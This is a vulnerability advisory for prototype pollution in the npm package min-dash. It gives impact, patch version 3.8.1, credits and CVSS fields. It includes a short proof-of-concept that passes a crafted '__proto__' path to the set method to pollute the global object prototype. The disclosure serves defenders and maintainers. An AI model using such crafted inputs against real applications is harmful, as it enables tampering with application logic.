GHSA-2m53-83f3-562j

    Dashboard / Vulnerabilities / GHSA-2m53-83f3-562j

    GHSA-2m53-83f3-562j

    Published: 1 Feb 2022Last Modified: 18 Jul 2025

    Summary: Prototype pollution in min-dash

    Details: ### Impact The `set` method is vulnerable to prototype pollution with specially crafted inputs. ```javascript // insert the following into poc.js and run node poc,js (after installing the package) let parser = require("min-dash"); parser.set({}, [["__proto__"], "polluted"], "success"); console.log(polluted); ``` ### Patches `min-dash>=3.8.1` fix the issue. ### Workarounds No workarounds exist for the issue. ### References Closed via https://github.com/bpmn-io/min-dash/pull/21. ### Credits Credits to Cristian-Alexandru STAICU who found the vulnerability and to Idan Digmi from the Snyk Security Team who reported the vulnerability to us, responsibly.

    Affected packages

    Package

    Name: min-dash

    Purl: pkg:npm/min-dash

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -3.8.1

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-2m53-83f3-562j | CVE-DB